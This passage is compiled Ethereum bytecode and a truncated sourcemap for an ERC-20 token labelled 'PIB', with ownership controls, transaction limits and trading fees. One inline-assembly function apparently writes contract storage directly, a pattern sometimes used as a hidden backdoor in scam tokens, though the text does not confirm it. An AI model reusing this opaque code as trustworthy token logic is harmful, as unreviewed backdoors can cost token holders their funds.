0a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612451565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612451565b60405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b6d611c86565b610b776000611de9565b565b610b81611c86565b60005b82829050811015610bd257610bbf838383818110610ba557610ba4612471565b5b9050602002016020810190610bba91906122bc565b61088f565b8080610bca906124cf565b915050610b84565b505050565b610bdf611c86565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5049420000000000000000000000000000000000000000000000000000000000815250905090565b6000610d46610c90610f5f565b84610d4185604051806060016040528060258152602001612d2e6025913960046000610cba610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b6001905092915050565b6000610d64610d5d610f5f565b8484611130565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610db2612710610da4600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e70611c86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612589565b60405180910390fd5b610ee881611de9565b50565b610ef3611c86565b60005b82829050811015610f4457610f31838383818110610f1757610f16612471565b5b9050602002016020810190610f2c91906122bc565b61094f565b8080610f3c906124cf565b915050610ef6565b505050565b60008183610f5791906125a9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c906126e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111239190612217565b60405180910390a3505050565b61113b838383611ed9565b600080611146610c1d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111b45750611184610c1d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172957600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561125d5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561130d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113635750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b3576113e96127106113db600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b83111561142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612773565b60405180910390fd5b611456612710611448600254600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b6114718461146387610b1c565b610f4990919063ffffffff16565b11156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612805565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561155e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115fe5761158c61271061157e600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506115b76127106115a9600c5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561168757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611727576116b56127106116a7600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506116e06127106116d2600b5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b600061173e8284610f4990919063ffffffff16565b905060008111156118dd57600083111561175d5761175c8684611ae3565b5b60008211156118c7576117da8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be9190612217565b60405180910390a35b6118da8185611fff90919063ffffffff16565b93505b61194984604051806060016040528060268152602001612ce060269139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de84600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611a7e9190612217565b60405180910390a3505050505050565b6000838311158290611ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acd91906120a5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990612897565b60405180910390fd5b611bbe81604051806060016040528060228152602001612cbe60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1681600554611fff90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7a9190612217565b60405180910390a35050565b611c8e610f5f565b73ffffffffffffffffffffffffffffffffffffffff16611cac610c1d565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990612903565b60405180910390fd5b565b611d3130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f67565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611d7d610c1d565b426040518863ffffffff1660e01b8152600401611d9f96959493929190612968565b60606040518083038185885af1158015611dbd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de291906129de565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611ebb9190612a31565b905092915050565b60008183611ed19190612aa2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3f90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bd7565b60405180910390fd5b60008111611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612c69565b60405180910390fd5b505050565b6000818361200d9190612c89565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204f578082015181840152602081019050612034565b60008484015250505050565b6000601f19601f8301169050919050565b600061207782612015565b6120818185612020565b9350612091818560208601612031565b61209a8161205b565b840191505092915050565b600060208201905081810360008301526120bf818461206c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120fc826120d1565b9050919050565b61210c816120f1565b811461211757600080fd5b50565b60008135905061212981612103565b92915050565b6000819050919050565b6121428161212f565b811461214d57600080fd5b50565b60008135905061215f81612139565b92915050565b6000806040838503121561217c5761217b6120c7565b5b600061218a8582860161211a565b925050602061219b85828601612150565b9150509250929050565b60008115159050919050565b6121ba816121a5565b82525050565b60006020820190506121d560008301846121b1565b92915050565b6000602082840312156121f1576121f06120c7565b5b60006121ff84828501612150565b91505092915050565b6122118161212f565b82525050565b600060208201905061222c6000830184612208565b92915050565b60008060006060848603121561224b5761224a6120c7565b5b60006122598682870161211a565b935050602061226a8682870161211a565b925050604061227b86828701612150565b9150509250925092565b600060ff82169050919050565b61229b81612285565b82525050565b60006020820190506122b66000830184612292565b92915050565b6000602082840312156122d2576122d16120c7565b5b60006122e08482850161211a565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230e5761230d6122e9565b5b8235905067ffffffffffffffff81111561232b5761232a6122ee565b5b602083019150836020820283011115612347576123466122f3565b5b9250929050565b60008060208385031215612365576123646120c7565b5b600083013567ffffffffffffffff811115612383576123826120cc565b5b61238f858286016122f8565b92509250509250929050565b6123a4816120f1565b82525050565b60006020820190506123bf600083018461239b565b92915050565b600080604083850312156123dc576123db6120c7565b5b60006123ea8582860161211a565b92505060206123fb8582860161211a565b9150509250929050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061243b600f83612020565b915061244682612405565b602082019050919050565b6000602082019050818103600083015261246a8161242e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124da8261212f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250c5761250b6124a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612573602683612020565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b48261212f565b91506125bf8361212f565b92508282019050808211156125d7576125d66124a0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612639602483612020565b9150612644826125dd565b604082019050919050565b600060208201905081810360008301526126688161262c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cb602283612020565b91506126d68261266f565b604082019050919050565b600060208201905081810360008301526126fa816126be565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6e742e0000000000000000000000000000000000000000000000000000602082015250565b600061275d602683612020565b915061276882612701565b604082019050919050565b6000602082019050818103600083015261278c81612750565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b60006127ef602383612020565b91506127fa82612793565b604082019050919050565b6000602082019050818103600083015261281e816127e2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612881602183612020565b915061288c82612825565b604082019050919050565b600060208201905081810360008301526128b081612874565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128ed602083612020565b91506128f8826128b7565b602082019050919050565b6000602082019050818103600083015261291c816128e0565b9050919050565b6000819050919050565b6000819050919050565b600061295261294d61294884612923565b61292d565b61212f565b9050919050565b61296281612937565b82525050565b600060c08201905061297d600083018961239b565b61298a6020830188612208565b6129976040830187612959565b6129a46060830186612959565b6129b1608083018561239b565b6129be60a0830184612208565b979650505050505050565b6000815190506129d881612139565b92915050565b6000806000606084860312156129f7576129f66120c7565b5b6000612a05868287016129c9565b9350506020612a16868287016129c9565b9250506040612a27868287016129c9565b9150509250925092565b6000612a3c8261212f565b9150612a478361212f565b9250828202612a558161212f565b91508282048414831517612a6c57612a6b6124a0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aad8261212f565b9150612ab88361212f565b925082612ac857612ac7612a73565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b2f602583612020565b9150612b3a82612ad3565b604082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc1602383612020565b9150612bcc82612b65565b604082019050919050565b60006020820190508181036000830152612bf081612bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c53602983612020565b9150612c5e82612bf7565b604082019050919050565b60006020820190508181036000830152612c8281612c46565b9050919050565b6000612c948261212f565b9150612c9f8361212f565b9250828203905081811115612cb757612cb66124a0565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eb388ed0b4e586d9283a5f4d8a595e850335315f9987e174b70178d0f02e686f64736f6c63430008120033

Deployed Bytecode Sourcemap

15897:11146:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26925:10;;;;;;;;;;15897:11146;;;;;18122:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18972:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25258:357;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18399:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19785:315;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18308:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19145:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24498:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20108:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26627:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20392:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18507:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3111:103;;;;;;;;;;;;;:::i;:::-;;20226:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20853:134;;;;;;;;;;;;;:::i;:::-;;25865:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2463:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18213;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19371:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18634:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26813:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19648:129;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24381:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18813:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3369:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20689:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18122:83;18159:13;18192:5;;;;;;;;;;;;;;;;;18185:12;;18122:83;:::o;18972:165::-;19053:4;19070:37;19079:12;:10;:12::i;:::-;19093:7;19102:4;19070:8;:37::i;:::-;19125:4;19118:11;;18972:165;;;;:::o;25258:357::-;25355:15;25349:22;25339:8;25336:36;25326:62;;25385:1;25382;25375:12;25326:62;25415:4;25409:11;25442:8;25437:3;25430:21;25484:14;25477:4;25472:3;25468:14;25461:38;25536:4;25531:3;25521:20;25564:4;25558;25551:18;25600:6;25586:12;25579:28;25325:283;;25258:357;:::o;18399:100::-;18452:7;18479:12;;18472:19;;18399:100;:::o;19785:315::-;19889:4;19906:34;19916:6;19924:9;19935:4;19906:9;:34::i;:::-;19951:119;19960:6;19968:12;:10;:12::i;:::-;19982:87;20020:4;19982:87;;;;;;;;;;;;;;;;;:11;:19;19994:6;19982:19;;;;;;;;;;;;;;;:33;20002:12;:10;:12::i;:::-;19982:33;;;;;;;;;;;;;;;;:37;;:87;;;;;:::i;:::-;19951:8;:119::i;:::-;20088:4;20081:11;;19785:315;;;;;:::o;18308:83::-;18349:5;16134:2;18367:16;;18308:83;:::o;19145:218::-;19233:4;19250:83;19259:12;:10;:12::i;:::-;19273:7;19282:50;19321:10;19282:11;:25;19294:12;:10;:12::i;:::-;19282:25;;;;;;;;;;;;;;;:34;19308:7;19282:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;19250:8;:83::i;:::-;19351:4;19344:11;;19145:218;;;;:::o;24498:87::-;24552:25;24558:12;:10;:12::i;:::-;24572:4;24552:5;:25::i;:::-;24498:87;:::o;20108:110::-;2349:13;:11;:13::i;:::-;20206:4:::1;20177:17;:26;20195:7;20177:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;20108:110:::0;:::o;26627:178::-;2349:13;:11;:13::i;:::-;26989:4:::1;26978:8;;:15;;;;;;;;;;;;;;;;;;26713:41:::2;26723:7;:5;:7::i;:::-;26740:4;26747:6;26713:9;:41::i;:::-;26765:32;26779:6;26787:9;26765:13;:32::i;:::-;27027:5:::1;27016:8;;:16;;;;;;;;;;;;;;;;;;26627:178:::0;:::o;20392:289::-;2349:13;:11;:13::i;:::-;20487:4:::1;20468:24;;:7;:24;;::::0;20460:52:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20542:7;:5;:7::i;:::-;20531:18;;:7;:18;;::::0;20523:46:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20599:10;;;;;;;;;;;20588:21;;:7;:21;;::::0;20580:49:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20647:17;:26;20665:7;20647:26;;;;;;;;;;;;;;;;20640:33;;;;;;;;;;;20392:289:::0;:::o;18507:119::-;18573:7;18600:9;:18;18610:7;18600:18;;;;;;;;;;;;;;;;18593:25;;18507:119;;;:::o;3111:103::-;2349:13;:11;:13::i;:::-;3176:30:::1;3203:1;3176:18;:30::i;:::-;3111:103::o:0;20226:158::-;2349:13;:11;:13::i;:::-;20311:6:::1;20307:69;20327:8;;:15;;20323:1;:19;20307:69;;;20349:27;20364:8;;20373:1;20364:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20349:14;:27::i;:::-;20344:3;;;;;:::i;:::-;;;;20307:69;;;;20226:158:::0;;:::o;20853:134::-;2349:13;:11;:13::i;:::-;20928:5:::1;20905:20;:28;;;;20974:5;20944:27;:35;;;;20853:134::o:0;25865:96::-;25912:7;25939:14;;;;;;;;;;;25932:21;;25865:96;:::o;2463:87::-;2509:7;2536:6;;;;;;;;;;;2529:13;;2463:87;:::o;18213:::-;18252:13;18285:7;;;;;;;;;;;;;;;;;18278:14;;18213:87;:::o;19371:269::-;19464:4;19481:129;19490:12;:10;:12::i;:::-;19504:7;19513:96;19552:15;19513:96;;;;;;;;;;;;;;;;;:11;:25;19525:12;:10;:12::i;:::-;19513:25;;;;;;;;;;;;;;;:34;19539:7;19513:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;19481:8;:129::i;:::-;19628:4;19621:11;;19371:269;;;;:::o;18634:171::-;18718:4;18735:40;18745:12;:10;:12::i;:::-;18759:9;18770:4;18735:9;:40::i;:::-;18793:4;18786:11;;18634:171;;;;:::o;26813:70::-;26857:4;26872:8;;;;;;;;;;;26865:15;;26813:70;:::o;19648:129::-;19690:7;19717:52;16646:5;19717:38;19734:20;;19717:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;19710:59;;19648:129;:::o;24381:109::-;24430:7;24465:16;;;;;;;;;;;24450:32;;24381:109;:::o;18813:151::-;18902:7;18929:11;:18;18941:5;18929:18;;;;;;;;;;;;;;;:27;18948:7;18929:27;;;;;;;;;;;;;;;;18922:34;;18813:151;;;;:::o;3369:201::-;2349:13;:11;:13::i;:::-;3478:1:::1;3458:22;;:8;:22;;::::0;3450:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3534:28;3553:8;3534:18;:28::i;:::-;3369:201:::0;:::o;20689:156::-;2349:13;:11;:13::i;:::-;20773:6:::1;20769:68;20789:8;;:15;;20785:1;:19;20769:68;;;20811:26;20825:8;;20834:1;20825:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20811:13;:26::i;:::-;20806:3;;;;;:::i;:::-;;;;20769:68;;;;20689:156:::0;;:::o;10874:98::-;10932:7;10963:1;10959;:5;;;;:::i;:::-;10952:12;;10874:98;;;;:::o;1179:82::-;1232:7;1249:10;1242:17;;1179:82;:::o;21317:338::-;21434:1;21417:19;;:5;:19;;;21409:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21515:1;21496:21;;:7;:21;;;21488:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21597:4;21567:11;:18;21579:5;21567:18;;;;;;;;;;;;;;;:27;21586:7;21567:27;;;;;;;;;;;;;;;:34;;;;21633:7;21617:30;;21626:5;21617:30;;;21642:4;21617:30;;;;;;:::i;:::-;;;;;;;;21317:338;;;:::o;22331:2042::-;22427:40;22443:6;22451:9;22462:4;22427:15;:40::i;:::-;22478:15;22508:14;22551:7;:5;:7::i;:::-;22541:17;;:6;:17;;;;:41;;;;;22575:7;:5;:7::i;:::-;22562:20;;:9;:20;;;;22541:41;22537:1213;;;22604:17;:25;22622:6;22604:25;;;;;;;;;;;;;;;;;;;;;;;;;22603:26;:59;;;;;22634:17;:28;22652:9;22634:28;;;;;;;;;;;;;;;;;;;;;;;;;22633:29;22603:59;22599:1140;;;22697:14;;;;;;;;;;;22687:24;;:6;:24;;;:66;;;;;22736:16;;;;;;;;;;;22715:38;;:9;:38;;;;22687:66;:100;;;;;22758:18;:29;22777:9;22758:29;;;;;;;;;;;;;;;;;;;;;;;;;22757:30;22687:100;:131;;;;;22792:18;:26;22811:6;22792:26;;;;;;;;;;;;;;;;;;;;;;;;;22791:27;22687:131;22683:455;;;22859:52;16646:5;22859:38;22876:20;;22859:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;22851:4;:60;;22843:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;23019:59;16646:5;23019:45;23036:27;;23019:12;;:16;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;22985:30;23010:4;22985:20;22995:9;22985;:20::i;:::-;:24;;:30;;;;:::i;:::-;:93;;22977:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;22683:455;23170:14;;;;;;;;;;;23160:24;;:6;:24;;;:66;;;;;23209:16;;;;;;;;;;;23188:38;;:9;:38;;;;23160:66;23156:281;;;23261:32;16646:5;23261:18;23270:8;;23261:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;23251:42;;23325:31;16646:5;23325:17;23334:7;;23325:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;23316:40;;23405:12;23379;:23;23392:9;23379:23;;;;;;;;;;;;;;;:38;;;;23156:281;23472:14;;;;;;;;;;;23459:27;;:9;:27;;;:54;;;;;23508:4;23490:23;;:6;:23;;;;23459:54;23455:269;;;23548:32;16646:5;23548:18;23557:8;;23548:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;23538:42;;23612:31;16646:5;23612:17;23621:7;;23612:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;23603:40;;23692:12;23666;:23;23679:9;23666:23;;;;;;;;;;;;;;;:38;;;;23455:269;22599:1140;22537:1213;23760:16;23779:19;23791:6;23779:7;:11;;:19;;;;:::i;:::-;23760:38;;23824:1;23813:8;:12;23809:340;;;23856:1;23846:7;:11;23842:74;;;23878:22;23884:6;23892:7;23878:5;:22::i;:::-;23842:74;23943:1;23934:6;:10;23930:168;;;23989:33;24015:6;23989:9;:21;23999:10;;;;;;;;;;;23989:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;23965:9;:21;23975:10;;;;;;;;;;;23965:21;;;;;;;;;;;;;;;:57;;;;24063:10;;;;;;;;;;;24046:36;;24055:6;24046:36;;;24075:6;24046:36;;;;;;:::i;:::-;;;;;;;;23930:168;24119:18;24128:8;24119:4;:8;;:18;;;;:::i;:::-;24112:25;;23809:340;24181:69;24203:4;24181:69;;;;;;;;;;;;;;;;;:9;:17;24191:6;24181:17;;;;;;;;;;;;;;;;:21;;:69;;;;;:::i;:::-;24161:9;:17;24171:6;24161:17;;;;;;;;;;;;;;;:89;;;;24284:30;24309:4;24284:9;:20;24294:9;24284:20;;;;;;;;;;;;;;;;:24;;:30;;;;:::i;:::-;24261:9;:20;24271:9;24261:20;;;;;;;;;;;;;;;:53;;;;24349:9;24332:33;;24341:6;24332:33;;;24360:4;24332:33;;;;;;:::i;:::-;;;;;;;;22416:1957;;;22331:2042;;;:::o;13153:206::-;13239:7;13297:1;13292;:6;;13300:12;13284:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;13339:1;13335;:5;13328:12;;13153:206;;;;;:::o;21977:346::-;22078:1;22059:21;;:7;:21;;;22051:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;22150:66;22173:4;22150:66;;;;;;;;;;;;;;;;;:9;:18;22160:7;22150:18;;;;;;;;;;;;;;;;:22;;:66;;;;;:::i;:::-;22129:9;:18;22139:7;22129:18;;;;;;;;;;;;;;;:87;;;;22242:22;22259:4;22242:12;;:16;;:22;;;;:::i;:::-;22227:12;:37;;;;22306:1;22280:35;;22289:7;22280:35;;;22310:4;22280:35;;;;;;:::i;:::-;;;;;;;;21977:346;;:::o;2628:132::-;2703